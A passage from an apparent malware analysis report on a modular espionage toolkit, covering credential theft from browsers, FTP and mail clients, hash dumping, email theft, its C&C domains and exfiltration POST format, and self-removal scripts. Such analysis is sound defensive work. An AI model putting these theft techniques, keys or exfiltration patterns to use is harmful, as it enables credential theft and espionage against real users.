Pragma: no-cache
Cache-Control: no-cache
Content-length: 29276
Content-Type: application/x-www-form-urlencoded
Data format
Malware collects the data in the memory allocated on the heap. The memory chunk with the prepared data starts with the
magic number (4E 44 00 00) following by the filename as Unicode string (@INFO\SYSINFO_%u_%s.bin) and the size of
data.
After the size value comes the actual information part. This part is compressed and encrypted/encoded and sent via the
POST request. Data in this part is structured in the same order as it was retrieved (so first comes the system info, then disks
info, network adapters, URL history, etc.). All strings are Unicode with the exception of browsing info, which is encoded n
ANSI.
GetWebFtp module
Known variants:
d1699431d56a690e1b84aa8dddffd28f 2012.10.22 07:05:01 (GMT)
The file is a PE DLL file, compiled with Microsoft Visual Studio 2005. No functions are exported.
Network function
All the requests to a CnC server are of the following pattern:
POST http://%CnC%/cgi-bin/nt/sk HTTP/1.1
Host: %CnC%
Connection: close
Content-Length: %d\r\n\r\n
DATA
The POST data is of the following structure:
Number1 + HexString + "\r\nSubject: %s\r\n\r\n" + Buffer
Number1 is 16-byte value that depends on VolumeSerialNumber, Computer name and ProductID key in
HKLM\SOFTWARE\Microsoft\Internet Explorer\Registration
Buffer is compressed with Zlib, encrypted with a modified PKZIP stream cipher, and then it is Base64-encoded.
The list of the CnCs:
nt-windows-online.com;nt-windows-update.com;nt-windows-check.com
After resolving CnC domain tries to directly send POST request.
It always expects the server to return 500 error code (Internal Server Error) in all the requests. If this error code actually
received then the function returns success, and no more actions in the network function are done.
If the first sending-receiving routine returns failure then the module tries to find a proxy server and connect to it. For that
purpose it retrieves a path to a browser in a registry:
HKLM\SOFTWARE\Classes\HTTP\shell\open\command
If the browser is InternetExplorer then checks the following keys:
HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable
HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyServer
If the browser is Firefox then reads the file %APPDATA%\Mozilla\Firefox\profiles.ini and retrieves its Path value. After that
reads %APPDATA%\Mozilla\Firefox\%Path%\prefs.js and retrieves proxy and port from the settings starting with user_pref(
network.proxy.*.
If the browser is Opera then reads the file %APPDATA%\Opera\Opera\profile\opera6.ini, finds the [Proxy] section and finds
string which matches HTTP.*=.*:.* and retrieves server and port from it.
DllMain
Tries to call RegisterServiceProcess API from kernel32.dll (this API existed in Windows 9x)
Sends POST request with the Subject: Reflebt and === Buffer.
Starts searching for specific files on the following Drives: (c:,d:,e:,f:,g:)
The list of interested files:
"*.odu"
"*.pfx"
"Favorites.dat"
"FileZilla.xml"
"History.dat"
"Quick.dat"
"RushSite.xml"
"ScribeOptions.xml"
"Sites.dat"
"Sites.xml"
"SmartFTP*"
"TheBee.ini"
"account.cfn"
"account.xml"
"accounts.ini"
"addrbk.dat"
"andrq.ini"
"bpftp.dat"
"clients.dat"
"digsby.dat"
"ftplist.txt"
"global.xml"
"keychain.plist"
"signons.txt"
"sm.dat"
"smdata.dat"
"users.txt"
"wand.dat"
"wcx_ftp.ini"
"ws_ftp.ini"
Also the module enumerates network shares. The initial purpose of that seems to be searching for the same files in the
network shares, but there is a bug in the code which prevents from doing it. (FindFirstFile API call doesnt get the string with
wildcards as its first parameter, it only gets the string of a network share without appending a wildcard to it, so the API
always returns INVALID_HANDLE_VALUE).
If any of these files is found, then the module adds its information to a Buffer for POST request which contains the following:
file path, file contents, file creation time, last access time, last write time (all system time format), file size, the current position
in stream, the number of bytes read from file. The final Buffer can contain information about several files at once. The non-
compressed Buffer size cant exceed a definite value (a little more than 358571 bytes), and the files can be partially sent.
POST request with files is sent with the Subject: Reflect.
After all the files are processed the module sends the final POST request with the Subject: Refleet and === Buffer.
AuthInfo Module
Known variants:
793c82efc65a43ed249a45ec7c69a388 2012.09.05 07:02:18 (GMT)
428de53f1a1eaa040847b6456b7e5369 2012.09.05 07:02:18 (GMT)
Summary
The file is a PE DLL file, compiled with Microsoft Visual Studio 2010. No functions are exported. Its main purpose is to steal
credential information from various popular file managers, email clients, browsers and FTP client software.
DllMain function
When loaded, the module retrieves its resource of type BBB and name AAA, and starts an internal plugin framework. The
main function of the module is named task_authinfo and is registered in the framework. Then, it starts the framework main
loop, effectively parsing the resource data and executing the list of actions encoded in the resource.
The decoded resource data for the known sample can be represented as the following script:
Call(task_authinfo)
The module creates two output buffers (lets call them Buffer1 and Buffer2).
The Buffer1 starts with the following string: "@INFO\AUTHINFO_%u_%s.txt"
Where %u equals to 6, %s is system time in the following format: "%04u%02u%02u_%02u%02u%02u_%03u"
If FileTimeToSystemTime API failed, it uses the default time string: "16010101_000000_000"
If wsprintfW API failed, it uses the default hardcoded filename: "@INFO\SYSINFO_X_00000000_000000_000.txt"
Also it constructs the following string: "@INFO\AUTHINFO_%u_%s.bin for being a header of Buffer2, but the module is
compiled in that way that the retrieved data is not copied to Buffer2 and as a result is not sent to the CnC (thats probably a
developers mistake).
Buffer1 (.txt) is used to store general information text strings for logging purpose, and Buffer2 (.bin) is used to store
information retrieved from the registry values and file contents, including binary data.
Data collection
In all the functions if a host is retrieved, it is also resolved to its IP.
1. Far Manager FTP data
Buffer1 sample data:
START
BEGIN : Far
FAR : regkey '%s' opened OK
END : Far, size : %d
Extracts the following data from registry for Buffer2:
HKCU\Software\Far2\Plugins\FTP\Hosts\Item\
HostName, User, Password values data.
The Password value data is decrypted with a publicly known FAR FTP decryption algorithm based on simple XOR.
2. Winscp data
BEGIN : Winscp
WINSCP : regvalue username found - OK
END : Winscp, size : %d
Enumerates subkeys in the following key and retrieves value data for Buffer2:
HKCU\Software\Martin Prikryl\WinSCP 2\Sessions\
Value names: UserName, "Password", "PortNumber", "FSProtocol", "HostName"
The Password value data is decrypted with a publicly known Winscp algorithm which is based on a bitwise operations and
XOR using UserName concatenated with the HostName as a key.
3. TotalCommander data
Buffer1 data sample:
BEGIN : TotalCommander
TOTAL COM : wcx_ftp.ini found OK
END : TotalCommander, size : %d
Searches for wcx_ftp.ini file, reads its contents and extracts values for parameters: "username", "host", "password".
The password value data is decrypted with a publicly known TotalCommander algorithm which is based on XOR.
4. Internet Explorer 7 and 8 data
BEGIN : IE78
IE78 : regkey opened OK
END : IE78, size : %d
Enumerates value names in the following key:
HKCU\Software\Microsoft\Internet Explorer\IntelliForms\Storage2\
The module creates Microsoft URL History Service instance and enumerates URLs from the browser history. It calculates
URL hash using CryptHashData API (SHA1 algorithm) and compares it with the value names from the previous registry key.
If they coincide the module retrieves the registry data for the corresponding hash and decrypts the data using
CryptUnprotectData API. As a result Autocomplete passwords and the corresponding URLs are obtained.
5. Internet Explorer 6 and Outlook data
BEGIN : IE6, OutlookEx
OUTLOOK EXP : LoadLibrary: pstorec.dll: %u ERROR
IE6 : pstore contains data - OK
Attempts to load library called pstorec.dll. If pstorec.dll library couldnt be loaded then starts working with registry
immediately.
If the library is successfully loaded then retrieves an interface pointer to a storage provider, enumerates provider types and
subtypes. If the Resource Type corresponds to IE Protected Site or Outlook Account then reads the data item name and the
data item buffer. As a result it retrieves IE HTTP/FTP basic authentication password and corresponding hosts, for Outlook it
retrieves POP3 passwords and proceeds with working with registry. If the ResourseType corresponds to IE6 the module also
interprets ItemName as a URL, and resolves the host to IP.
In case of Outlook enumerates subkeys of the following key and retrieves the value data in them:
HKCU\SOFTWARE\Microsoft\Internet Account Manager\Accounts\
Values: POP3 Password2", "IMAP Password2", "HTTPMail Password2".
If one of the values data coincides with previously retrieved passwords from PStore, then retrieves the remained values data:
Account Name
SMTP Email Address
SMTP Server
HTTPMail User Name
HTTPMail Server
POP3 User Name
POP3 Server
IMAP User Name
IMAP Server
6. Opera, Chrome, Firefox, Thunderbird data
BEGIN : Opera, GCH, MFF, THB
OPERA : wand.dat file found and read OK
CHROME : Login Data file found and read OK
THUNDERBIRD : signon file path '%s' found - OK
Opera: Reads file: %APPDATA%\Opera\Opera\wand.dat, decrypts it (3DES + proprietary), parses it and retrieves hosts and
corresponding passwords.
Chrome: In the Chrome processing function the module uses SQLLite lib to read file
%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data as a DB. It makes a query SELECT * FROM logins
to retrieve hosts and saved passwords. It retrieves "Password_value" field to decrypt with CryptUnprotectData API call.
Firefox: Reads the file %APPDATA%\Mozilla\Firefox\profiles.ini and retrieves User Profiles Path from it.
Queries value in the following key to retrieve Firefox path:
HKLM\SOFTWARE\Clients\StartMenuInternet\firefox.exe\shell\open\command
In the Firefox directory tries to load nss3.dll, plc4.dll and get the following functions: NSS_Init, NSS_Shutdown,
PK11_GetInternalKeySlot, PK11_FreeSlot, PK11_Authenticate, PK11SDR_Decrypt, PK11_CheckUserPassword,
PL_Base64Decode.
Sequentially tries to open and read file %FirefoxProfilesPath%\signons.txt or signons2.txt or signons3.txt or sqlite.sqlite
(these files used in different Firefox versions). In case of the *.txt files the module parses a file, retrieves urls, decrypts
usernames and passwords using PL_Base64Decode and PK11SDR_Decrypt. In case of sqlite.sqlite it makes a query
SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins, decrypts usernames and passwords
using PL_Base64Decode and PK11SDR_Decrypt functions.
Thunderbird: Reads the file %APPDATA%\Thunderbird\profiles.ini and retrieves User Profiles Path from it. Queries value
in the following key to retrieve Thunderbird path:
HKLM\ SOFTWARE\Clients\Mail\Mozilla Thunderbird\shell\open\command
In the Thunderbird directory tries to load nss3.dll, plc4.dll and get the following functions: NSS_Init, NSS_Shutdown,
PK11_GetInternalKeySlot, PK11_FreeSlot, PK11_Authenticate, PK11SDR_Decrypt, PK11_CheckUserPassword,
PL_Base64Decode.
Sequentially tries to open and read file %ThunderbirdProfilesPath%\signons.txt or signons2.txt or signons3.txtor sqlite.sqlite
(these files used in different Thunderbird versions). In case of the *.txt files the module parses a file, retrieves urls, decrypts
usernames and passwords using PL_Base64Decode and PK11SDR_Decrypt. In case of sqlite.sqlite it makes a query
SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins, decrypts usernames and passwords
using PL_Base64Decode and PK11SDR_Decrypt functions.
7. The Bat data
BEGIN : The Bat
THE BAT : Account.CFN '%s' read OK
Searches for the Account.CFN file, decrypts it with an algorithm based on a bitwise operations and 1-byte XOR, then
extracts hostnames, usernames and passwords.
8. Filezilla data
BEGIN : FileZilla
FILE ZILLA : sitemanager.xml file found OK
FILE ZILLA : sitemanager.xml '%s' opened - OK
Searches for sitemanager.xml file, parses it and extracts Host, User, Port and Pass values. No decryption routines are
used in processing the file.
9. CoreFTP data
BEGIN : CoreFtp
CORE FTP : regkey of core ftp '%s' opened OK
CORE FTP : password is present - OK
Tries to open the following registry key where %d is incremented starting from 0:
HKCU\Software\FTPWare\CoreFTP\Sites\%d
Retrieves the value data for: "Host", "Port", "User", "PW".
The PW data is decrypted using AES-128-ECB with a static key hdfzpysvpzimorhk.
10. IncrediMail data
Buffer1 sample data
BEGIN : IncrediMail
INCREDI : regkey Identities opened - OK
Enumerates subkeys and retrieves the value data in them:
HKCU\Software\IncrediMail\Identities\%s\Accounts\%s
Value names: "PopPort", "Technology", "PopServer", "EmailAddress", "PopPassword".
The PopPassword data is decrypted using a proprietary algorithm based on simple xoring.
Network communication
The final Buffer (which contains only Buffer1 in observed version, Buffer2 is not added) is compressed with Zlib, encrypted
with a modified PKZIP stream cipher, and then it is Base64-encoded.
The module sequentially tries to send data to the CnCs specified in the configuration resource in a loop of 7 iterations until
success. The interval between server communications is 3 seconds.
It forms the HTTP header of the following pattern:
POST http://%s:%s%s HTTP/1.0
Host: %s:%s
Pragma: no-cache
Cache-Control: no-cache
Content-length: %u
Content-Type: application/x-www-form-urlencoded
POSTDATA
The POST data is of the following structure:
Magic1 (4 bytes) + D_USER_Length (4 bytes) + Number1(4 bytes) + Magic2 (4 bytes) + D_USER (as a string) + Magic3 (4
bytes) + Buffer
Magic equals to 2.
Number1 is 4-byte value that is calculated based on VolumeSerialNumber, Computer name and ProductID key in
HKLM\SOFTWARE\Microsoft\Internet Explorer\Registration
Magic2 equals to 0.
Magic3 equals to 0xF1E1A003.
It always expects the server to return 500 error code (Internal Server Error) in all the requests. If this error code actually
received then the function returns success, and no more actions in the network function are done.
If the first sending-receiving routine returns failure then the module tries to find a proxy server and connect to it. The proxy
server is found in the same way as in Browser history module.
Logic module
Known variants:
6da5d548828d113fe38f9f8406a5d697 163,840 bytes November 22, 2012
Summary
Logic module is essentially used to quickly get general information about current Windows machine and available remote
network shares. The collected information is instantly sent to the Command&Control server, no local files are created.
This module is a Win32 DLL file. All functionality is in DllMain function, no export names defined. C runtime and utility library
code is linked with current module. The module was compiled with MS Visual C++ 2005.
Main
Calculates machine id using one of the following methods:
1. Find disk volume with Windows system directory and use volume serial number as system id;
2. If previous method fails, get HKLM\SOFTWARE\Microsoft\Internet Explorer\Registration\ProductID value and current
computer name and hash them using simple own hashing algorithm (uses two constants 0x3B21 and 0x1C55).
The module collects the following information about current system:
1. Windows version
2. Computer name
3. User name
4. Local disk drives info:
Volume serial number
Filesystem name and flags
Free and used disk space
Windows and Temporary directory paths
Environment variables
Active and OEM codepages
Network adapter MAC address
Accessible network shares and remote computer IPs
List of local processes with all loaded modules
This information is later submitted to the C&C server.
List of processes and loaded modules collected by the malware
When submitting to C&C server, it issues HTTP POST request, with hardcoded string Subject: LOGIC and appended data. It
is capable of finding and using local proxy server settings of Firefox, Opera and Internet Explorer. The submitted data is Zlib-
compressed, encrypted and Base64-encoded. It seems to be using rather old Zlib version 1.1.4, which was introduced in
March of 2002. For encryption it uses a modified version of PKZIP cipher. For the reference, it uses the following constants:
0x12345679, 0x1E278E7A, 0x560397F7, 0x343FD, 0x269EC3.
C&C server connection information is stored in hardcoded string/dword values, i.e.:
Server domains: nt-windows-online.com;nt-windows-update.com;nt-windows-check.com
Server port: 80
URL path: /cgi-bin/nt/sk
The modules attempts to connect to the C&C server 5 times with delay of 1 minute. If the server doesnt respond it tries
another one or gives up.
ILogic module
Known variants:
8a34088f776ff9c4857549b24eebcabb 151,552 bytes November 22, 2012
Summary
ILogic module is essentially used to quickly grab Internet Explorer URL history from the local system. The collected
information is instantly sent to the Command&Control server.
Main
The module creates COM object by hardcoded CLSID=3C374a40-BAE4-11CF-BF7D-00AA006946EE which stands for
Microsoft Url History Service. After that the module calls internal object methods to fetch browsing history. This information is
later submitted to the C&C server.
Data buffer created by the malware containing URL history
When submitting to C&C server, it issues HTTP POST request, with plaintext string Subject: ILogic and appended data. It is
capable of finding and using local proxy server settings of Firefox, Opera and Internet Explorer. The submitted data is Zlib-
compressed, encrypted and Base64-encoded. It seems to be using rather old Zlib version 1.1.4, which was introduced in
March of 2002. For encryption it uses a modified version of PKZIP cipher. For the reference, it uses the following constants:
0x12345679, 0x1E278E7A, 0x560397F7, 0x343FD, 0x269EC3.
Server port: 80
Repeat2 module
Known variants:
2be140e6abf23d6acc5fef0c11c07784 155,648 bytes November 22, 2012
Summary
Repeat2 module is essentially used to quickly get listing from remote shares available in Windows network neighborhood.
The collected information is instantly sent to the Command&Control server.
Main
The module use Windows API to locate available Windows shares and get directory listings from the remote computers. This
information is later submitted to the C&C server.
Hardcoded value of Subject field used in data submission stage (userid is blurred)
When submitting to C&C server, it issues HTTP POST request, with hardcoded string Subject: REPEAT2 and appended
data. It is capable of finding and using local proxy server settings of Firefox, Opera and Internet Explorer. The submitted
data is Zlib-compressed, encrypted and Base64-encoded. It seems to be using rather old Zlib version 1.1.4, which was
introduced in March of 2002. For encryption it uses a modified version of PKZIP cipher. For the reference, it uses the
following constants: 0x12345679, 0x1E278E7A, 0x560397F7, 0x343FD, 0x269EC3.
Server port: 80
Reference module
Known variants:
a2180b45002ee90ad0ec1f04ef90cb01 151,552 bytes November 22, 2012
Summary
Reference module is essentially used to quickly grab directory/file listings of all drives attached to the local system (including
network shares and usb drives). The collected information is instantly sent to the Command&Control server.
Main
The module iterates through all attached drives and browses their contents. It collects directory listings including filenames,
date of last modification and sizes. This information is later submitted to the C&C server.
Data buffer created by the malware containing file listing
When submitting to C&C server, it issues HTTP POST request, with plaintext string Subject: REFERENCE and appended
data. It is capable of finding and using local proxy server settings of Firefox, Opera and Internet Explorer. The submitted
data is Zlib-compressed, encrypted and Base64-encoded. It seems to be using rather old Zlib version 1.1.4, which was
introduced in March of 2002. For encryption it uses a modified version of PKZIP cipher. For the reference, it uses the
following constants: 0x12345679, 0x1E278E7A, 0x560397F7, 0x343FD, 0x269EC3.
Server port: 80
1. Exploits
2. Dropper
3. Loader Module
4. Main component
2. Recon group
3. Password group
4. Email group
5. USB drive group
6. Keyboard group
8. Spreading group
9. Mobile group
3. Password group
PswSuperMailRu module
Known variants:
7b669c32e6ee2c65bec5e09024fc5415 237,568 January 14th, 2011
b7327bfa4a101a21f0cc1b366aa8e107 237,568 March 29th, 2011
a39fa7340b2f1d7b42342b3e2f06df71 266,24 August 16th, 2010
cd170625655424149573c88c59716cc4 270,336 February 11, 2011
f60436b984962e741b81720ea604ad27 241,664 August 16th, 2010
2cf23cd8a7f85529576ba6c759f8cf37 270,336 March 29th, 2011
9bb32272be87a4dde8c8b05f49ded9f7 266,24 January 14th, 2011
ed72b6150e9fbc8f71e61dfea682a303 237,568 February 11th, 2011
The files are all PE exe files between 232 KB and 264 KB, compiled with Microsoft Visual Studio 2005. It is written in C/C++.
Entrypoint, unpacking stub, and obfuscation
Related binaries are heavily packed with a custom packer. The packer disrupts basic software breakpoints and some api
hooking techniques, because it decrypts the original exes section contents onto heaps in-memory and then writes the
decrypted code and .data, .rdata contents back over the original sections, hopping back into the decrypted code and
executing from there.
Summary
At its OEP, the module further retrieves environment information, and then creates a mutex with the string "SUPER MUTEX".
Then the module steals authentication credentials from mail.ru agent software and attempts to steal open and saved
attachments on the system from the Outlook Secure Temp Folder. The executable then fails to write its own contents to
another executable file in tmp and maintain persistence on the system. Network functionality is absent from this module.
Credential Stealing
The module steals Mail.Ru Mail Agent account credentials by reading relevant registry in order to extract the passwords or
decrypt them depending of the version. The two locations this data is accessed are
Registry key/value pair for Mail.Ru Agent version < 5.2
Registry key: HKCU\Software\Mail.Ru\Agent\magent_logins,
binary value: ####password
Registry key/value pair for Mail.Ru Agent version 5.2 to 5.6
Registry key: HKCU\Software\Mail.Ru\Agent\magent_logins2
Registry key/value pair for Mail.Ru Agent version >= 5.7 (Last version 6 is also supported)
Registry key: HKCU\Software\Mail.Ru\Agent\magent_logins3
Text file used by Mail.Ru Agent to store Blowfish encryption key
%APPDATA%\Mra\Update\ver.txt
The contents of this registry keys are read and the blowfish key stored inside ver.txt is used to decrypt the passwords, in
version 5.7 and above.
All actions are logged with time stamp, and then encrypted and written to %temp%\~avp2.log.
The module will attempt to access ver.txt which is protected on the system. If it can read it using standard API functions, it
uses NTFS low level access.
In order to do so, it uses the DeviceIoControl API function with the FSCTL_GET_NTFS_VOLUME_DATA and
"FSCTL_GET_NTFS_FILE_RECORD" IOCTLs.
The data of this file will also be written to %temp%\~mslog.tmp, which is a backup of ver.txtAfter the module will build a
new string with the current timestamp followed by delimiting dashes and indication that the module has finished running, like
2012:11:10:10:22:34-------PROGA END. This string will be written to the ~avp2.log file.
Here is an example of a decrypted ~avp2.log file:
"2012:11:22:17:21:44"-------PROGA START-----
"2012:11:22:17:21:44"ERROR ACCESS file ver.txt
"2012:11:22:17:21:44"FILE SYSTEM NTFS
"2012:11:22:17:21:44"PROBING GET FILE LOW LIVEL
"2012:11:22:17:21:44"ACCESS LOW LIVEL OK!!!!
"2012:11:22:17:21:44"REG OPEN KEY[Software\Mail.Ru\Agent\magent_logins3]
"2012:11:22:17:21:44"SUB KEY[000#victim@mail.ru]
"2012:11:22:17:21:44"uin(0)[000#victim@mail.ru] passwd(0)[%removed%]
"2012:11:22:17:21:44"-------PROGA END-----
The string between "[" and "]" is binary value of MD5 Hash of the Mail.ru Agent password.
All restored credentials are also stored encrypted in the ~pass2.pwl file without the time stamp information and how they
were accessed.
Meanwhile PROGA word used in here might refer to transliteration of Russian slang , which literally means an
application or a program.
Attachment stealing
The module will finally attempt to steal open attachments or attachments that were open when the machine or Outlook
application shutdown unexpectedly. It identifies and collects these files from a directory path that looks like C:\Documents
and Settings\%username%\Local Settings\Temporary Internet Files\OLK%xxx%.
Failed persistence
The module then attempts to maintain some persistence on the system by repeating the routine. It creates
%temp%\19d400.msv, and attempts to write a copy of its own executable contents to it. Oddly, the WriteFile size parameter
is set to 0 and the write fails. It then attempts to run this 19d400.msv file by calling CreateProcessA on it, which also fails.
The module thread terminates the process.
Finally, it is interesting that network functionality is absent from this module.
Interesting decrypted runtime strings:
19d400.msv
Software\Mail.Ru\Agent\magent_logins2
Software\Mail.Ru\Agent\magent_logins
~pass.pwl
~avp.log
www.mail.ru
ProcessRead ok!
OPEN PROCESS agent_mail.ru OK!
%s-------PROGA END-----
-------PROGA START-----
SUPER MUTEX
19d400.msv
~mslog.tmp
%sPROBING GET FILE LOW LIVEL
%sACCESS LOW LIVEL OK!!!!
%sERROR OPENFILE
%sERROR GET ACCESS LOW LIVEL
PswOutlook module
Known variants:
f6e1637e04b33a3e0c57ab355d3e677e 2010.11.30 07:10:32 (GMT)
fa66821fd895b3814e501b804176ef98 2011.02.23 12:41:29 (GMT)
Summary
The file is a PE EXE file, compiled with Microsoft Visual Studio 2008. All the functionality is implemented in the WinMain
function. There are 2 known variants of this module in over 50 files with identical behavior.
Like PswSuperMailru, this highly-obfuscated module is very different from others. Its main purpose is to steal email credential
information of the current user. This is achieved by reading system protected storage and system registry. The result is
stored in an encrypted file, after that the application self-removes.
Main function
This module starts from decrypting pieces of information carefully puzzled in the file body. The puzzle contains extra library
names, export function names, their parameters and set of internal references. The encryption algorithm reminds PKZIP
encryption but seems to be modified.
Decrypted data is carefully collected and filled in a set of internal objects. Next, module connects to the local registry using
RegConnectRegistry system API call. This is not clear why the developers decided to use RegConnectRegistry call. They
either tried to bypass some local IDS/IPS systems by avoiding usage of RegOpenKey/RegOpenKeyEx calls or the
application was designed to connect to remote computers as well. In all samples we have observed, lpMachineName
parameter is set to NULL meaning to connect to local registry.
It dumps MS Outlook account information from the following registry keys:
HKCU\Software\Microsoft\Internet Account Manager HKCU\Software\Microsoft\Office\Outlook\OMI Account
Manager\Accounts HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging
HKCU\Subsystem\Profiles\Microsoft\Outlook Internet Settings HKCU\Software\Microsoft\Windows
NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook
After that it attempts to access and dump local protected storage identities information via PStorec.dll API.
Collected information is stored in encrypted file: %Temp%\{B30BD41D-46E7-458B-F412-4D7F80CCAD0F}. The file contains
a 32bit hash of data in the end.
This module never communicates with the C&C server and works as a standalone tool. In the end of execution before exiting
application it runs self-removal procedure as described below.
Self-removal procedure
When the module needs to end the execution and self-remove, it spawns a %COMSPEC% process (cmd.exe or
command.com on older systems) HKCU\Software\Microsoft\Internet Account Manager using the following commandline:
cmd.exe /c del /F /A %MODULE_PATH%>> NULL
This procedure is very unreliable as it is prone to race-condition issues which might result in modules remaining undeleted.
MSHash module
Known variants:
3538fea2c2f9a7117a6a919c87112731 2011.11.01 15:04:58 (GMT)
a008d1ec659c3758e95bc3f0aafbe3a5 2011.08.05 07:40:37 (GMT)
68d72e12c402038195175b568b3dd0bb 2012.10.22 07:01:30 (GMT)
4b62cc78508b46d74cdd172dc493ec8a 2011.11.01 15:04:58 (GMT)
Summary
This module is a standalone executable, which is essentially a tool to dump cached domain password hashes, and locally
stored sensitive information, such as LSA secrets. It uses direct disk access to bypass system registry ACLs. After execution
the module self-removes.
First, it uses direct disk access to copy registry files from %SYSTEM%\config\ directory:
%SYSTEM%\config\sam -> %Temp%\ksm
%SYSTEM%\config\system -> %Temp\kss
%SYSTEM%\config\SECURITY -> %Temp%\kse
Then module fetches available cached domain account hashes as well as local system LSA secrets. The later may contain
logins and passwords from various services in plaintext. Also, it fetches Syskey bootkey secret and appends it to the output.
The result is stored in an encrypted file of custom binary format which is located in
%TMP%\smrdprev<RANDOM_16DIGITS_HEXNUMBER>.tmp. The contents of the file contains internal file reference string,
including date and time when it was created, i.e. "@MSHASH\SAMHASH_2_20121002_034519.txt". This is probably
suggested relative path and file name during data extraction procedure on the attackers system.
The module also creates an encrypted log file with detailed information of program execution. It is stored in similar file
%TMP%\smrdprev.tmp, the hex number depends on current system boot time. It is encrypted in the same way as the main
output file, using custom cryptoalgorithm based on AMPRNG cryptomethod.
Current module also tags current system by changing the following registry keys:
HKCU\Software\Microsoft\ADOSoftware32\ProductID = binary value of 20 bytes (System ID)
HKLM\Software\Microsoft\ADOSoftware32\ProductID = binary value of 20 bytes (System ID)
System ID is calculated as SHA1-hash of System Drive Volume Serial Number and HKLM\SOFTWARE\Microsoft\Internet
Explorer\Registration\ProductID value. These keys remain after malware self-removes an may serve as good way to identify
if your system was hit by this module in the past.
Most of the cryptoroutines such as DES, RC4, HMAC_MD5, MD4 are used from statically linked OpenSSL 0.9.8g library.
After the end of execution it deletes temporary files and self-removes with simple msc.bat file of the following contents:
chcp 1251
:Repeat
attrib -a -s -h -r "<module_filename>"
del "<module_filename>"
if exist "<module_filename>" goto Repeat
del "msc.bat"
Note, that current batch file sets current codepage to CP1251, which is used to display Cyrillic characters in console output.
4. Email group
MAPIClient module
Known variants:
09e75477e03a968eead17a28d8aef0ce 2012.10.26 07:02:24 (GMT)
10603f7ec89c3472b238e9342f5ba62b 2011.10.10 11:37:27 (GMT)
C196e32764dc698bb88714adfb874667 2012.05.04 11:31:35 (GMT)
0fe600e06a69ccebbb5baf6c9f5f51a6 2011.12.02 07:34:41 (GMT)
c3a50d78669cd58b2cd4e38e30c1e986 2011.11.11 07:13:55 (GMT)
298c4562c8463bed3039ff2d12669adc 2011.09.02 05:08:00 (GMT)
1f91b25d0893d4e1b0418ffeb21f1f03 2011.10.10 11:37:27 (GMT)
521b45d21b4b2fc48f7ab29ab222d6ee 2011.11.11 07:13:55 (GMT)
7883b174ce69ffed41d3aea54855ff97 2011.06.10 06:11:48 (GMT)
3975b42d9bb39741e988f78020edeb44 2011.11.11 07:13:55 (GMT)
Summary
The file is a PE EXE file, compiled with Microsoft Visual Studio 2010. All the functionality is implemented in the WinMain
function.
This module is used to steal email information of the current user by getting most valuable information about messages,
starting from general fields (To/From/Date/Subj), copying full MIME headers and message body, and stealing attachments if
extension looks interesting (documents, archives, cryptokeys). The result is stored in a set of encrypted and compressed
files, after that the application self-removes.
Main function
It starts from creating a new encrypted log file in current directory of the executable, named system32ocxms.dat. The first
log entries contain the following:
Program started
V: MSG_26.10.12 This probably indicate internal module name (MSG) and version (set after date of creation 26.10.12).
Current application hasn't got an embedded config/script file in resource section, all parameters are hardcoded.
Next it fetches the current system general information and default application preferences from the registry, including the
following:
User name
Computer name
User domain name (from %USERDOMAIN% and %USERDNSDOMAIN%)
Default system HTTP protocol handler from HKCR\HTTP\shell\open\command
Default system HTTPS protocol handler from HKCR\https\shell\open\command
Default system application for html files from HKCR\htmlfile\shell\open\command
Default system e-mail client from HKCR\mailto\shell\open\command
This information is added to the log file.
Next it checks if MS Outlook is installed, if it is actively running, whether it is system default e-mail client. This is appended to
the log either.
During next step, it creates a watchdog thread, which every checks foreground window every 10 milliseconds and in case
current foreground window belongs to current process it spawns self-removal batch-file (see description in section below)
and terminates current process. This is done in case Microsoft Windows MAPI framework creates a popup message with
some connection error report, or asks the user to enter credentials from the mailbox. The developers obviously wanted to
escape unnecessary attention and that is why they thought that it would be better to shutdown and self-remove the module
without collecting any information instead of getting caught by attracting attention.
After watchdog thread was created the module lists local user mail addresses by connecting to system MAPI. It gets User
Email, Address Type and User Name. Next it iterates through existing MAPI storages for current user and dumps full
information about all messages to the main log file, including e-mail header values, such as
Subject
From
To
Date
AttachmentID
AttachmentName
AttachmentSize
The emails of attackers' interest with attachments are saved in a separate encrypted and Zlib-compressed storage file (new
storage file is created for each directory):
%CurrentDir%\sys_%HexNumber%\winocx_%IntegerCounter%_rdtp.tmp
The attachment storage file is limited to 60Mb, RC4 encryption key is
specialforoutlookattachments!
The filter for interesting emails is defined in a list of regular expressions (PCRE lib is used to process those):
.doc .xls .txt .vcf .p7m .mdb .msgz .dcx .egk .zm9 .docx .xlsx .eml .CCC .cif .fas .msg .kum .key .out .rtf .pdf .enc .TOK .wps
.sbox .lock .ass .cer .pem .odt .rar .html .xia .sec .cm5 .xps .pgp .wfh .cbu .ods .zip .htm .xis .dat .rhs .x05 .xiti .grp .sig .dot
.gpg mht .p7s .dth .max .y05 .egm .pot .ftil
Current module is also capable of dumping full contents of local system Address Book, however this functionality is currently
disabled by the developer (probably because of some bugs in the code).
This module never communicates with the C&C server and works as a standalone tool. In the end of execution before exiting
application it runs self-removal procedure as described below.
Self-removal procedure
When the module needs to end the execution and self-remove, it creates a batch-file with pseudo-random name:
%HOMEDRIVE%%HOMEPATH%\Local Settings\Temp\<HEXDIGITS(4-7 digits)>.bat.
If it couldn't create random name, the name will be set to "syspart.bat".
The file contains:
:Repeat
del /F /A "<CURRENT_MODULE_FILE_PATH>"
if exist "<CURRENT_MODULE_FILE_PATH>" goto Repeat
del /F /A "<CURRENT_MODULE_FILE_PATH>"
POP3Client module
Known variants:
MD5 Compilation date (encrypted) Compilation date (payload)
224c382316be4be7e0009f08b84cd91e 2011.09.26 06:54:09 (GMT) 2011.05.25 11:49:19 (GMT)
100e53ee8fbeb4546b31eb7e0aad8752 2011.07.27 07:37:01 (GMT) 2011.05.25 11:49:19 (GMT)
Summary
The file is a PE EXE file, compiled with Microsoft Visual Studio 2005.
This module is responsible for receiving and storing email messages on a local computer from a POP3 server specified in a
configuration file. All the actions and important info are written to a log file.
Main function
Creates mutex "208D2C60-3AEA-1069-A2D7-08002B30309D"
Creates a directory and a log file in it: %ALLUSERSPROFILE%\Application Data\System\smrdprev.%d%d.tmp (%d values
